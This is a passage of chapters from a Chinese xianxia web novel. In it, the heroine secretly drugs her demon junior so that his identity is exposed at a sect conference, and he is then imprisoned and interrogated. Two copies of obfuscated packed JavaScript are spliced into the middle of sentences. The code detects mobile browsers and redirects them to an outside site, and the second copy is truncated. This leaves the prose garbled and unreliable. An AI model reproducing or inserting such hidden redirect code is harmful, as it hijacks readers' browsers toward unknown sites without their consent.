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宣凌倒是异常顺从，任由她牵着手走进院子，也没松开，就那样直直地注视着她，眼眸中漾着堪称柔和的笑意。 常栩高兴地说正好做了早餐，又疑惑地问，“不是要去天元宗参加大会吗？怎么有空来我这里？” 宣凌轻声道：“想到你了，便想来看看。” 常栩知他定有来意，试探着问道：“宣凌哥哥，你是有什么话要对我说吗？” 宣凌凝视着她，问：“裳儿，你是不是……不喜欢我杀人的样子？你很害怕，对吗？” 常栩不知他为何突然问起这个，但还是点了点头。 “好。”宣凌说，“那我便少造杀孽，试着，做个好人。” 语气平淡却坚定。 常栩闻言，眼中流露出真实的诧异，心中并不相信，问了出来：“为什么？” 她以为，像宣凌这样的人，生来就该搅动风云，怎会甘于平凡？ 看着少女圆睁的、充满疑问的眼睛，宣凌不好意思宣之于口，倒是一旁隐在暗处的王乌，气鼓鼓地哼了一声。 “裳儿。” 宣凌深呼一口气，神色少见地郑重，“道清大会结束之后，你随我去一趟昆山吧。” 常栩想了一会儿才想起，昆山似乎是大陆北境一座神秘的雪山，传说有隐世仙人居于其上，常有修士或凡人前往求取秘法灵药，留下了无数传说。 小说后期，韩尚同正是循着宣凌遗留的线索找到昆山，从而获得了复活岳婉吟的关键法门。 不过现在，常栩实在不明白宣凌为何要带“裳儿”去那里。 宣凌只含糊说“有亲人在”，常栩觉得他是在胡扯，他一个魔族，在这边能有什么亲人？ 但也没深想，听着宣凌讲述那地方如何好，便满口应承下来，心里想的却是，应该没机会去了。 毕竟下一次“相见”，可能就是几年之后了——如果一切顺利，宣凌参加完这次大会，身份暴露，就该回魔域了！ 约定许下，宣凌含笑告别。 常栩装出依依不舍的模样，片刻之后，立刻着手“搬家”，摘下檐角的风铃，仔细关好门窗。 她怕季聆雪那个疯女人真跑来永川镇对“裳儿”下杀手。 接下来，常栩的全部精力都要放在道清大会上，无暇顾及永川镇这边，绝不能把这具化身留在此地徒增风险。 况且事到如今，“裳儿”这个身份已经完成了它的使命，大功告成，没必要再维持下去了。 于是，常栩回到房间、抽离意识，毫无留恋地离开了这座庭院。 七天后，苍华派的浮舟渡过翻涌如潮的云海，终于降落在天元宗所在地—— 那座悬于万仞绝壁之上的宏伟仙城，玉霄城。 34. 第三十四章 道清大会 玉霄城周遭彩霞层叠，铺陈出一条缥缈天路，引着浮舟虚空而起，仿佛鱼跃龙门，最终停驻于城外宽阔的大道上。 白玉门下华盖云集，众人步下浮舟，置身于云雾缭绕间若隐若现、高耸入云的巨大城池。 踏上三千长街，入目所见，亭台楼阁鳞次栉比，赫然是一座浮于天际的仙家山城。 侍从带着谢千景三人前往最高处的碧玉琼宇，而常栩、宣凌、韩尚同三人则被安置在半山腰一处清幽小院。 小院后方，伫立着一面刀削斧凿般的绝壁，上面隐约可见一座小巧的木制楼阁。 带路弟子不无炫耀地说，那是处汇聚日月精华的圣地，天下灵脉无出其右。 “诸位在此莫要高声，自魔族之祸后，前任宗主夫人便在此处静修养息，宗主有令，闲杂人等不得随意惊扰。” 他压低声音，说得煞有介事，岂料三人并未在意，让他自找了个没趣。 只有韩尚同开口了，却是询问如何才能拜见天元宗宗主。 那弟子脚步一顿，面上流露出轻慢：“宗主方才出关，诸事缠身，便是你们谢掌门也未必能即刻得见，何况你一个小小弟子？” 韩尚同并没在意他的态度，只是若有所思。 到了下午，何向悠前来探望，韩尚同又提及此事，还说了当初魔族杀害双亲的往事，希望能见宗主一面。 何向悠听罢，轻轻摇头：“当年人魔大战，天元宗首当其冲，前任宗主与少主双双罹难。此事乃天元宗切肤之痛，若无其他重要之事，我恐怕很难为你引见。” 韩尚同只得拱手谢过，眉宇间难掩落寞。一旁的宣凌听着这些，垂下眼眸，不知在想什么。 夜色初临，常栩叩响了韩尚同与宣凌的房门。 她一手提着一只酒壶，遥遥一点绝壁之上的朦胧楼阁：“来天元圣地一趟，不去那圣地瞧瞧，岂非入宝山而空回？说不定，还能见到那位神秘的夫人呢。” 常栩一袭灼灼红衣斜倚门框，神情带着几分挑衅，不像是在开玩笑。 韩尚同与宣凌对视一眼，虽有意外，但还是接过了她递来的酒坛。 三人趁着夜色，避开值守弟子，身如轻燕，悄然跃上了那古朴的庭院。 大抵因玉霄城高悬九天，此地的月色格外清亮澄澈，铺满地面，为崖顶笼罩上一层透亮的白霜。 出乎意料，圣地之内空寂无人，那位传闻中的前任宗主夫人并不见踪影。 唯有石桌上摊开一半的书卷，显示这里有人住过。 常栩将书卷往韩尚同面前一推，示意他瞧瞧内容，自己则拍开封泥，为三只空杯斟满了清冽的酒液。 宣凌的目光落在常栩脸上，带着一丝探究：“师姐素来不擅饮酒，今日怎的破例？” 常栩神情不变：“所以特意寻了凡间酿造的浊酒，非是仙家琼浆，醉不了人。怎么，不敢喝？” “师姐说笑了。”韩尚同接过酒杯，将书小心置于一旁，道，“是本话本子，讲的是一双痴情男女终究错过的故事。” 常栩仰首喝了一口酒，微微眯起眼：“倒是个好故事。” 宣凌也拿起杯盏，看向韩尚同：“韩师兄执意要见天元宗主，是否与那柄剑有关？我常见师兄贴身携带，却从不轻易示人，想必极为重要。” 韩尚同倒未再隐瞒。 他将一柄缠绕着陈旧灰布的长剑置于石桌之上，声音低沉：“此剑乃父母临终所托。他们嘱咐我，若有机缘，定要携此剑前往天元宗一行。我不知其中究竟有何隐秘，但父母遗命，不敢不从。” 常栩的目光掠过那柄看似平平无奇的铁剑。 韩尚同不知其底细，她却心如明镜。 正是二十年前人魔大战中杀死魔尊的上古神器——诛元剑。 至于它为何会流落韩家，出现在韩尚同手中…… 时机未至，常栩自然不会点破，只淡淡道：“想来定是极为重要之物。既然宗主暂不得见，那便收好吧。” 韩尚同听出其中的安慰之意，含笑顿首，将杯中清酒一饮而尽。 宣凌状似无意地问：“看来，师姐执意今夜饮酒，原是因为韩师兄。” 常栩笑了一声：“不过是想着，难得来到此地，也难得能聚在一处。何止韩尚同，你不也一直心事重重么？” 她嘴角弯起一抹浅弧，带着几分惯有的揶揄，却又被微醺的酒意柔化了几分。 那抹难得的柔和映在月光里，竟让宣凌有一瞬的恍惚，仿佛看到了另一个熟悉的身影。 他旋即暗自摇头，敛去杂念，正色道：“多谢师姐关怀。” 这一刻，他们之间无形的隔阂似被月光悄然融化，竟有了几分难得的坦诚。 对饮直至夜深，三个人方才各自散去。 望着宣凌跃下绝壁的背影消失在夜色里，常栩抬手，将杯中残酒缓缓倾洒于地。 微不可察的绿意自泥土中一闪而逝。 她叹了一口气，心想，事情到了这一步，再无转圜余地了。 第二日上午，在素衣侍女引领下，众人踏上横跨绝壁的青石天桥。 一行人在两侧天元宗弟子的注目中，踏入了位于正中的主殿。 玉霄城本身已凌驾云海，而殿心更是矗立着一柄直指九霄的巨型玉剑，势如孤峰，剑气磅礴，仿佛真能刺破苍穹。 此剑名为仙留。 相传几百年前，天元宗有位师祖飞升之后，将此剑自九天之上掷下，意在激励后人修道成仙，攀登无上之境。 苍华派众人抵达时，席间已坐下了两三家门派，正互相行礼寒暄。 常栩一眼便看到了青离宫那标志性的服饰，其中便有那位曾有一面之缘的杜长老，却未看到岳婉吟。 居中那位头戴青玉道冠、气质雍容华贵的女子，想必就是青离宫宫主、岳婉吟的师尊——宋青湖。 杜泽良最先瞧见苍华派一行，面上立时浮起明显的不豫，从鼻中冷哼一声。 宋青湖随之抬眸望来，目光却似有若无地最先落在了韩尚同身上，带着几分审视的意味。 另一派服饰陌生，常栩正暗自猜测其来历，身旁的宣凌似有所感，低声道：“那是南玄派。” 果然，身为掌门的谢千景显然与他们相识，双方照面之时，便称对方那位身着玄色锦袍的老者为“邓掌门”。 南玄派掌门邓长山。 很快，其余门派也陆陆续续到齐。 常栩目光扫过，除东道主天元宗外，殿内共聚集了八派代表。其中除苍华派外，声名最盛、被公认为仅次于天元宗的三大顶级修真门派，正是青离宫、南玄派与镜花门。 宋青湖起身与邓长山略作交谈后，便转向谢千景：“听杜长老提及苍华派之事，小徒婉吟数次蒙贵派弟子相救，尚未亲自谢过。” 谢千景道：“宋宫主言重了。岳姑娘亦曾相助小徒，何以言谢。” “谢掌门此言过谦。”宋青湖唇边噙着恰到好处的笑意，“太阴城之危，全赖贵派高徒韩尚同以一己之力，救满城修士于水火。” 一旁的邓长山适时插话：“正是！韩小友立下此不世奇功，谢掌门又何必遮掩？不如为我等引见一番，也好让我等一睹少年英雄风采。” 这几位俱是一宗之主、一门之尊，却执意要与韩尚同对话。 谢千景眉头几不可察地皱起，回头对韩尚同道：“尚同，上前见过诸位前辈。” 韩尚同依言上前，不卑不亢，执礼甚恭。 几人交谈声虽不算高，但在这聚集了修真界顶尖人物的殿堂之内，足以清晰地传入每个人耳中。 “韩尚同”之名，这半年来早已震动修真界。 此刻不仅是几位掌门，许多侍立的天元宗弟子也纷纷投来目光，好奇地打量着这位救下太阴城的少年。 目光交织，有好奇、探究、艳羡，亦夹杂着几缕不易察觉的冷意。 好在韩尚性子沉稳、神色坦然，并未因此失态。 倏然间，殿内万剑齐鸣，一股沛然莫御的无形威压随清风拂过，引得在场所有兵刃法宝皆发出震颤嗡鸣。 观礼席上的天元弟子瞬间肃然起身，对着仙留巨剑的方向，躬身齐喝：“恭迎宗主！” 清越鸾鸣破空而至，数只青鸾神鸟引颈清啸，列队盘旋。 一道身影踏风御虚，衣袂飘飘，如一片流云般，悠然落在仙留巨剑之前。 来人墨发如缎，一身白衣，衬得眉目温润平和，正是天元宗宗主——段巍。 这位衣着朴素、样貌平凡的中年男子，周身气息温煦如春日暖阳，平和得仿佛毫无威胁。 常栩不动声色地抬眼望去。 在这修真界，真正的顶尖人物，往往并非锋芒毕露之辈。 越是深不可测，越懂得返璞归真，敛尽光华，形似凡俗路人，又若乡野闲农……所谓神光内蕴、天人合一，大抵便是如此境界。 三声浑厚悠远的钟鸣过后，道清大会正式开始。 宋青湖率先起身，代表诸派向段巍致意，恭贺他伤势尽复。 段巍举杯，声音温和却清晰无比地传遍大殿每一个角落：“多谢诸位仙友挂怀。此乃天元之幸，亦是我辈同道守望相助之幸。” 众人皆知，天元宗主段巍的“旧伤”，根源正是二十年前那场惨绝人寰的人魔大战。 彼时天元宗上任宗主与魔尊同归于尽，随后的危局中，正是段巍挺身而出，力挽狂澜，率领天元宗将魔族残部彻底驱逐回危冥山，由此继任宗主之位，却也付出了重伤沉寂多年的代价。 寒暄过后，很快有人将话题引回当下：“如今二十年过去，危冥山那帮魔物似有死灰复燃、蠢蠢欲动之势。听闻太阴城事件中便有魔族暗中作祟，苍华派诸位道友归途之中，亦遭魔族伏击，而那人似乎还……” 话至此，他的目光扫过南玄派，没有说下去。 邓长山立刻出言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362924|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撇清：“不必遮掩！那等背弃宗门、自甘堕入魔道的孽徒，早已被我南玄派清理门户。日后若遇，我南玄上下必当亲手诛之，绝不姑息！” “说起来，此事着实蹊跷。”有人疑惑问道，“魔族为何偏偏出现在太阴城呢？谁能想到，那地方不仅有邪祟作乱，更有上古神兽现世……” 这时，一直沉默寡言的镜花门门主霍斩龙开口了。 他是个身形异常魁梧的中年男人，脸上赫然横亘着一道狰狞的旧疤——对修真者而言，祛除疤痕轻而易举，他却刻意保留着，显出几分狰狞凶悍。 霍斩龙开门见山，盯着韩尚同：“老夫没记错的话，太阴城内，你曾与那蜃于九天之上密谈。它究竟对你说了什么？” 此言一出，大殿瞬间陷入一片死寂。 因为这正是殿内绝大多数人心中潜藏已久的疑问。 韩尚同迎着众多审视的目光，声音平稳却带着不容置疑的坚定：“前辈恕罪。晚辈当日曾立下誓言，此乃天机，不可泄露。” “呵，恐怕是存了私心，不愿说吧！” 方斩龙毫不客气地冷笑出声，周身气势陡然凌厉。 “魔族之事关乎整个修真界存亡安危！你既知内情，岂能三缄其口？莫非是觉得在场诸位掌门、宗主皆不足以取信？还是以为单凭你苍华一派，便能独揽此秘？” 他话音未落，竟已欺身上前一步，磅礴灵力骤然爆发，带着撕裂空气的尖啸，直向韩尚同肩头压去，显然是要强行逼问！ 韩尚同面色一变，腰间长刀瞬间出鞘横挡，然而避之不及，不由得后退几步。 饶是有常栩和宣凌同时抢身挡在韩尚同身前，凌厉的劲气已然扫过，韩尚同闷哼一声，肩头衣衫碎裂，显出一道血痕。 谢千景面色身形一闪，已挡在霍斩龙与韩尚同之间，袍袖无风自动，冷冷道: “太阴城之事，尚同能救下当时在场诸人，已是难能可贵。既因承诺守秘，方门主又何必以大欺小，咄咄逼人？” 邓长山在一旁捋须叹道：“唉，只怕是其中另有隐情吧？谢掌门，非是霍门主多疑，这半年来，修真界因韩小友之事早已流言四起。以苍华派之底蕴，韩小友竟能以一己之力沟通蜃龙，救下太阴城，此等惊世之举，实在不能不让人心生疑虑啊。” “这般遮掩下去，只怕疑窦愈深，反令当日的功绩蒙尘，甚至是引火烧身。老夫也是为贵派着想，不如坦言相告，以释众疑？” 谢千景环顾四周，见在场之人皆作壁上观、一言不发，似乎都认同邓长山所言。 他还没说话，那边常栩已经按捺不住，冷声道：“依邓掌门之言，我苍华派救人，倒救出罪过来了？你这般危言耸听，才是真正其心可诛！” 众人不料她一介弟子竟敢如此说话，不由得露出意外的神色。 “看来，诸位似乎有所误会。” 高台之上，段巍终于再次开口，声音依旧温润平和，却带着一种无形的重量。 他目光缓缓扫过全场，那温和的视线所及之处，无形的压力悄然弥漫，。 “道清大会原为同气连枝、共御魔族而召开，此番剑拔弩张，实非必要之举，还请诸位莫要再相互为难了。” 当那最后一个字音落下时，一股浩瀚如渊海、磅礴似天倾的无形威压骤然掠过，虽只一瞬，却足以让所有人心头一跳。 邓长山反应最快，忙不迭地起身拱手，笑呵呵地捋着胡子：“宗主所言极是，是我等一时情急，扰了今日盛会，实在失礼！老夫自罚三杯！” 霍斩龙也坐了回去，道:“既然宗主都发话了，那便暂且不提。” 话是如此，他的目光仍是盯着韩尚同，显然不打算轻易放过。 最终，段巍的目光落回谢千景身上，温声道：“霍门主和邓掌门方才所言也并非全无道理。韩小友身负天机，以苍华派如今的处境，确实容易惹人生疑，恐怕难以周全守护。” “不若今日便加入道清盟，此后借天元宗之力，自可推演天机，亦能最大限度发挥韩小友之能，为天下苍生谋得福祉。谢掌门意下如何？” 谢千景心头一沉，看到段巍脸上深不可测的笑意，瞬间明白了一件事。 这场声势浩大的道清大会，原来醉翁之意不在酒。 天元宗是要苍华派彻底归附道清盟，以此作为庇护和了结此事的条件。 谢千景深知，段巍的谋算绝对不止于此，一旦加入道清盟，便会有天元宗派遣长老入驻宗门，插手门派事务。 天元宗之所以凌驾天下，正在于此。 此情此景，谢千景望着虎视眈眈的霍斩龙和邓长山，再看向受伤的韩尚同三人，心中已经有了决断。 他缓缓吐出一口气，正要回答—— 突然，外面一阵响彻云霄的钟鸣，打断了殿内的沉寂。 一名弟子神色仓惶地闯入，高声禀报：“启禀宗主！城外弟子急报，发现魔族踪迹！” 35. 第三十五章 虚实之间 段巍沉声压下现场的骚乱，向那弟子询问具体情形。 弟子虽焦急，却条理分明地回禀：“半个时辰前，有魔族现身玉霄城外，试图攻破结界闯入。然未能得逞，待外城弟子前去搜寻时，他们已踪迹全无。弟子深感此事非同小可，特来禀告宗主。” 自人魔大战后，魔族踪迹几近消弭于人界，即便偶有出没，也多在人迹罕至的荒僻之地。 不想今日，魔踪竟出现在天元宗根基所在的玉霄城下，且偏偏是在道清大会期间！ 宋青湖秀眉微蹙，敏锐地抓住疑点：“天元宗外阵法密布，若有魔族接近，自会触发警示。为何我们毫无所觉？你们又如何认定那就是魔族？” 弟子不敢隐瞒：“回宫主，领头之人非是寻常魔族，而是季聆雪！” 邓长山脸色骤变，急忙撇清关系:“此事与我南玄绝无干系！那逆徒早已被我南玄除名，既然她敢来，老夫今日便亲手清理门户！” “邓掌门且慢。”霍斩龙伸手拦住他，目光锐利，“今日之事蹊跷甚多，还是弄明白些为好。” 段巍看向他：“方门主有何高见？” “魔族为何偏偏在此时出现？”霍斩龙环视众人，“道清大会举办多年，从未有过魔族侵扰之事。今年却如此‘巧合’，偏偏苍华派刚来，魔族也随后就到，当真是巧合吗？” 听他这么说，宋青湖想起来了：“若我没记错，半年之前，季聆雪曾带魔族包围过苍华派。” 邓长山马上道:“谢掌门，还请告知，贵派与魔族是否有所牵连！” 几个人你一言我一语，如同投入油锅的火星，瞬间将矛头再次引向苍华派。 庚微与穆蘅等人察觉今日诸事透着诡异，当即表态：“我等对魔族之事一无所知，岂能凭空污蔑？” “段宗主，当务之急是追查魔族踪迹，而非在此兴师问罪！” “难道不是苍华派与魔族里应外合，意图袭击天元宗？”霍斩龙高声道，“魔族之事关系重大，宁可错杀一千，不可放过一个嫌疑！苍华派不可轻信，最好将他们暂留玉霄城，待查明真相！” 谢千景面沉如水，越过霍斩龙，直视段巍：“段宗主，这便是天元宗的待客之道？” 段巍缓缓开口，声音依旧平和，却带着不容置喙的威压。 “此事确无实证，诸位道友稍安勿躁。今日大会暂且中止，容天元宗先行查明魔族之事，再行定夺。” 随着段巍的话，殿中紧绷的气氛略有缓和。 众人依言纷纷起身，准备离席。 然而，就在此时，常栩身旁的宣凌，忽然闷哼一声，身体不受控制地半跪下去！ 宣凌只觉体内蛰伏的魔气如沸水般翻腾冲撞，瞬间失控逸散。 强压的本性在顷刻间反噬，意识一阵恍惚，不自觉伸出手…… 顿时，周遭的喧哗仿佛被骤然抽离，只剩下死水般的寂静。 “宣凌！” 宣凌猛地睁开眼，映入眼帘的是脚边倒下的两三名天元弟子，以及周围人群惊恐万状的目光。 随后，他看见了挡在自己身前、紧紧握住他手腕的常栩。 “诸位，”常栩的声音冷静得近乎异常，清晰地穿透短暂的死寂，“我苍华弟子修行尚浅，方才过于紧张，一时失手误伤了贵宗弟子，实在抱歉。我这便带他回去严加管教。” 这番解释看似合情合理，然而，在场皆修真界顶尖人物，虽然只有短短一瞬，但还是有不少人捕捉到了那丝不同寻常的气息波动。 “有魔气！” 殿内瞬间哗然！ 本就剑拔弩张的气氛被彻底点燃，再难轻易平息。 “原来是声东击西！” 随着霍斩龙一声冷喝，宋青湖、邓长山同时出手，跃身而起。 三道裹挟着顶尖高手威压的身影，如离弦之箭，顷刻扑向宣凌！ 韩尚同因为受伤而无力帮忙，唯有常栩现在宣凌身前，感受到扑面而来的恐怖威压，呼吸不自觉一窒。 但她并未因此后退半步，而是反手将神志不清的宣凌背起，艰难避开术法，向出口跑去，试图强行突围。 三位宗门高手又怎能让她轻易离开，尤其霍斩龙更是出手毫不留情、步步紧逼。 凌厉攻势眼看就要落在常栩二人身上，反应过来的谢千景三人终于已出手，硬生生挡下了这雷霆一击！ 他们虽不明就里，却也明白绝不能任由宣凌在此刻被带走。 苍华派几人的这般举动，无疑坐实了众人的猜疑。 霍斩龙厉声质问：“苍华派勾结魔族，证据确凿，还有何话可说！” 常栩看着迅速合围上来的天元弟子，抬手抹去嘴角渗出的血丝，声音清亮而高亢。 “苍华绝无魔物！此前太阴城之役，宣凌出力甚巨，或是在那时被魔气侵蚀，留下隐患。方才伤人实属意外失控，苍华自会彻查清楚，给天下同道一个交代，不劳诸位越俎代庖！” 只是，这番辩白在汹涌的敌意面前，显得苍白而无力。 常栩能清晰地感觉到背上宣凌逸散的魔气越来越浓烈、狂暴。 她知道，宣凌的意识恐怕已被魔性吞噬。 这种时候的魔族，只剩下暴虐嗜杀的本能。 常栩暗自盘算，或许用不了多久，宣凌就会彻底失控发狂，最好能给自己也来上一下…… 如此一来，她便能顺理成章地“被迫”放弃他，演足这场戏。 这番表演过后，宣凌便不会怀疑是她暗中下了药。 然而，常栩预想中的“背刺”并未到来。 宣凌竟在常栩那带着维护意味的声音里挣扎着找回了片刻清明。 或许是太阴城中并肩作战的记忆被唤醒，又或是前日月下小院对酌的平静浮上心头，他强压下翻腾的杀意与外溢的魔气，找回了一丝理智。 “师姐……放我下来。” 宣凌的声音微弱却清晰。 常栩动作一滞，意外于他竟能强行压制魔性，不由得愣了一瞬。 就在这电光石火的刹那，一直静观其变的段巍终于出手。 只见他袍袖轻拂，玉霄城上空的结界瞬间被彻底激活！ 天幕之上，一个遮天蔽日的巨大阵图骤然浮现。 以巨剑“仙留”为核心，伴随着刺目的金色光芒，无数柄由纯粹灵力凝聚而成的光剑悬停在众人头顶，剑尖所指，寒意森然。 这是唯有天元宗主方能启动的绝杀之阵——“天诛”！ 阵启之时，阵内之人皆为鱼肉，插翅难逃。 常栩见宣凌仍有定力，意识到计划生变，立刻改变策略。 趁着天元弟子尚未近身，她一把拉住宣凌，趁其毫无反抗之力，指尖疾点，瞬间封住了他大半筋脉与功法。 “宣凌，我是为你好，”她语速极快，声音压得极低，“先委屈你一段时间，我定会回来救你！” 宣凌的回答被那震彻天地的阵法轰鸣声彻底吞没。 段巍的声音穿透剑鸣，清晰地传来：“请诸位止戈。今日变故多生，天元宗须尽快处理，道清大会就此告终。诸位道友自可离去。不周之处，还请见谅。” 同时，一道剑影笼罩宣凌，迫使他重重跪在地上，玉石地板随之开裂。 “然此名弟子身染魔气，疑点重重，需暂留天元，待查清真相。” 此番话非是商量，而是决断。言语之间，再无半分转圜余地。 天元弟子得令上前，绑住已然昏迷的宣凌。 穆蘅下意识想上前查看，却被庚微一把拉住，默默摇头示意不可妄动。 谢千景则紧盯着常栩，眉头深锁。 常栩虽然没有阻拦，但还是仰起头，毫无惧色地迎上段巍的目光。 “既然诸位执意如此，便将宣凌暂交天元宗。若他真与魔族有染，苍华定当大义灭亲，清理门户！可若查明是子虚乌有，今日强留我苍华弟子、污我宗门清誉之责，苍华派也绝不会善罢甘休！” 众人见她一个弟子敢在此时开口，且态度如此强硬坚决，方才升腾的惊惧与怀疑不觉消退了几分。 毕竟，宣凌身上的魔气只爆发了短短一瞬便消失无踪。 不少人心中也泛起嘀咕： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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穆蘅神色复杂地告诉她，谢千景已于昨日宣布闭关，将宗门事务全权交予她处理——这无疑是一种无声的默许。 陷害宣凌、逼迫谢千景两件任务，竟同时完成了。 这顺利得让常栩有些意外。 听着系统的汇报，她摸了摸手腕，莫名想起离开玉霄城时，宣凌最后望向自己的那一眼，心头竟掠过一丝微不可察的难过。 “这次是真的将宣凌逼上绝路了。” 常栩看了眼自己的手。 “我真没想到，那种情况下他竟能忍住没对我出手……还好我临机应变，不然可就演砸了。” 好在任务已经完成。 常栩很快便抛开这丝微弱的情绪，与识海中的系统讨论起下一个任务——也是最后两个关键剧情点之一： 杀掉岳婉吟。 宣凌被扣留天元宗的消息很快就会传遍修真界，以岳婉吟的性子，必定会不顾师门阻拦，前来苍华派打探。 大约有三天时间。 杀掉岳婉吟后，宣凌就会从天元宗逃出，彻底暴露身份，回归危冥山。 在此之前，常栩只需要在不息山等着就好。 她开始琢磨怎样走下一个剧情， 毕竟无故杀人、还是杀女主角，可比坑宣凌要有压力多了。 常栩长生与系统讨价还价：“岳婉吟是个好姑娘，就算是为了走剧情，能不能下手轻点？” 系统冷回应：【任务判定以宣凌的认知为准。只要让他确信岳婉吟已死，即可。】 常栩眼睛一亮：“那好办！我让她假死脱身，走完剧情再把人‘复活’，不就两全其美？” 正暗自盘算着完美的计划，一道流光倏然破空而至，悬停在她面前，其上赫然印着天元宗的印鉴。 什么东西？ 常栩心中莫名一跳，伸手拆开。 意料之中的几个大字瞬间撞入眼帘—— 宣凌逃走了！ 36. 第三十六章 欺骗 一日之前，天元宗。 道清大会突生变故，整座玉霄城顷刻戒严。自人魔大战落幕，这是首度有魔族现身玉霄城内，竟还是在道清大会上。 消息传开以后，天元宗上下震动，各路人马皆欲一探究竟，却都被挡在了森严的罗狱之外。 段巍以真相“尚未查明”为由，除了专执掌戒律的长老唐宏之外，严禁任何人探视。 天元宗上下皆知，唐宏是出了名的铁手无情，宣凌落到他的手里，怕是挨不过多久就会全都交代了。 谁知整整一日过去，任他如何威逼利诱，使出各种令人胆寒的审讯手段，竟然始终未能从那少年口中撬出半分有用的话。 监牢之内的天元弟子守在一旁，即便是他们早就对刑讯司空见惯，目睹了唐宏的手段，还是不禁纷纷侧目，对这名不知是否为魔族的少年生出几分敬佩。 第二天一早，当唐宏再度踏入罗狱，盯着被铁环吊在石壁上、一动不动的宣凌，沉声询问值守弟子：“他昨夜可有醒来，说了些什么没有？” 宣凌垂着头紧闭双目，他衣衫单薄，被封住功体后与凡人无异，难耐洞中寒气，脸色苍白如纸，不知是昏睡还是已然昏迷。 弟子如实回答：“他只醒了一次，问我们是什么时辰，又问了苍华派的人是否来过，除此之外未再说过什么。” “苍华派的人？” 唐宏想到了什么，眉头一挑，沉声吩咐道，“弄醒他。” 弟子领命，走到宣凌身边，挥手重新唤起房内的禁制。 宣凌手臂上的锁链应声收起，陷入骨肉，强行将他拽起，紧紧束缚在墙壁上。 唐宏的目光紧盯着地面上的阵法，尝试寻找其中的蛛丝马迹。 这是天元宗先祖为了诛魔所创之阵，有净化之效，寻常魔族陷于其中，不消一个时辰就会灵气尽散、现出原形。 可自宣凌来此已经过去了一天一夜，阵法竟然并未有什么变化。他除了因灵力压制越发虚弱之外，也没再有半分的魔气逸散。 仿佛真的只是一个寻常人族。 唐宏心下不由生疑，莫非真是掌门误判了？ 道清大会变故发生之时，唐宏并不在现场，只知这名苍华弟子身上流露魔气。 如今看来，却似乎无从证实。 唐宏来之前打探过，确实如苍华派说的那样，许长生和宣凌曾一同遭到过魔族的袭击，因此沾染魔气不无可能。 加上昨日那群魔族来得蹊跷、去无踪迹，倒像有意要搅乱天元宗人心…… 如若当真是一场误会，事情可就难办了。 唐宏不动声色地想，这少年毕竟是苍华派掌门的亲传弟子，无端遭受这一番冤枉，天元宗恐怕难以交代。 不论如何，还是要尽快确认他与魔族的关系。 唐宏面上不露分毫，摆出好整以暇的姿态，捏起宣凌下巴，冷冷道：“我看你年纪尚轻，又未曾伤人，才未对你用重刑。你以为瞒得过我？如实招来，你究竟是何身份，潜入天元宗意欲何为？” 宣凌缓缓摇头，声音轻得几不可闻：“我不是魔族。” 自被关进来至今，面对质问，他翻来覆去只这一句话。 唐宏觉得自己一拳打在棉花上，不由有些烦躁，忽地心念一转，冷硬的嘴角扯出一丝嘲讽：“莫非还在等苍华派的人来救你？劝你别白费心思了——他们早已弃你于不顾。” 不出所料，宣凌闻言微微抬头，睁开泛红的眼睛：“什么……意思……” 唐宏道：“没人告诉你吗，苍华派的人昨日就已经离开了。我听说，因你身份暴露，苍华内部起了争执，谢千景引咎闭关，由你师姐许长生继任掌门。你以为，他们之中还会有谁会有心思记挂你吗？” 师姐……许长生…… “我一定会回来救你。” 宣凌不由自主的想起临别之际，那女子坚定的话语，以及饱含信任的目光，在他的心中至今余温未散。 对这位名义上的师姐，宣凌原以为自已的心中对她只有恨意，即便这些时日的相处让旧怨渐消，至多也不过是两不相欠，从来没有过什么真心。 可是昨日，当他因魔气失控而深感惊惶不安之时，当所有人都对他刀兵相向之时，是许长生挡在了他身前。 那一瞬，宣凌真切地感受到某种名为“信任”的情感。 就只因这转瞬即逝的触动，他便甘愿留在这危机四伏的玉霄城，忍受百般折磨，也要死死守住魔族身份。 然而唐宏的话，无情地戳破了宣凌一厢情愿的坚持。 “我听闻许长生为人刻薄，待你更是有百般不善，你为何认为她会来救你？对苍华派而言，你已是一枚弃子，他们恨不得从未与你扯上关系。” 一字一句，如刀刮过心口。 宣凌知道唐宏是在刺激自己，这人一心逼他承认身份，一日来手段用尽，如今只不过是换了软刀子罢了。 他闭上眼睛，不愿受到对方的干扰。 唐宏并不知晓的是，宣凌自踏入人界以来便修习人族功法，长久地压抑魔气，早已习惯将气息收敛得完美无瑕。 若非昨日意外失控，他的身份根本不会暴露。 不过，能坚持到现在，或许也有许长生临走时渡他的那一缕灵力的功劳…… 宣凌的眼睫忽然一颤。 道清大会之上，变故发生在转瞬之间，他无暇深思当时的种种蹊跷。 直至此刻，听到唐宏的话，方才后知后觉地产生怀疑。 怎么会有魔族在那时现身天元宗？他的魔气又因何突然失控？ 更重要的是，许长生为何反应那般迅疾，封他穴道的手法精准得像早有准备？比起保护，反倒更像是彻底控制住他。 宣凌想起道清大会的前一夜，他从许长生手中接过的那杯酒，骤然明了一切。 原来是这样。 对啊，他怎就忘了？许长生一向厌恶他，又已经知道了他的魔族身份，怎会容他继续留在苍华派？ 这段时日的相处，不过是一场处心积虑的骗局。 可笑他竟当真了。 宣凌的嘴角勾起一抹自嘲的笑容，似乎是真的觉得好笑，胸口却传来一阵钝痛。 原来他早已被抛弃。 不会有人来救他，继续留在这里，一旦意识稍有松懈，体内的压制溃散，魔气必将再度逸散，他的身份也会彻底暴露。 届时，等待他的只有无尽的折磨。 这一日一夜的苦苦坚持，原来是一场笑话。 沉寂已久的恨意再度翻涌，鲜明而熟悉，令宣凌找回了属于魔族的力量。 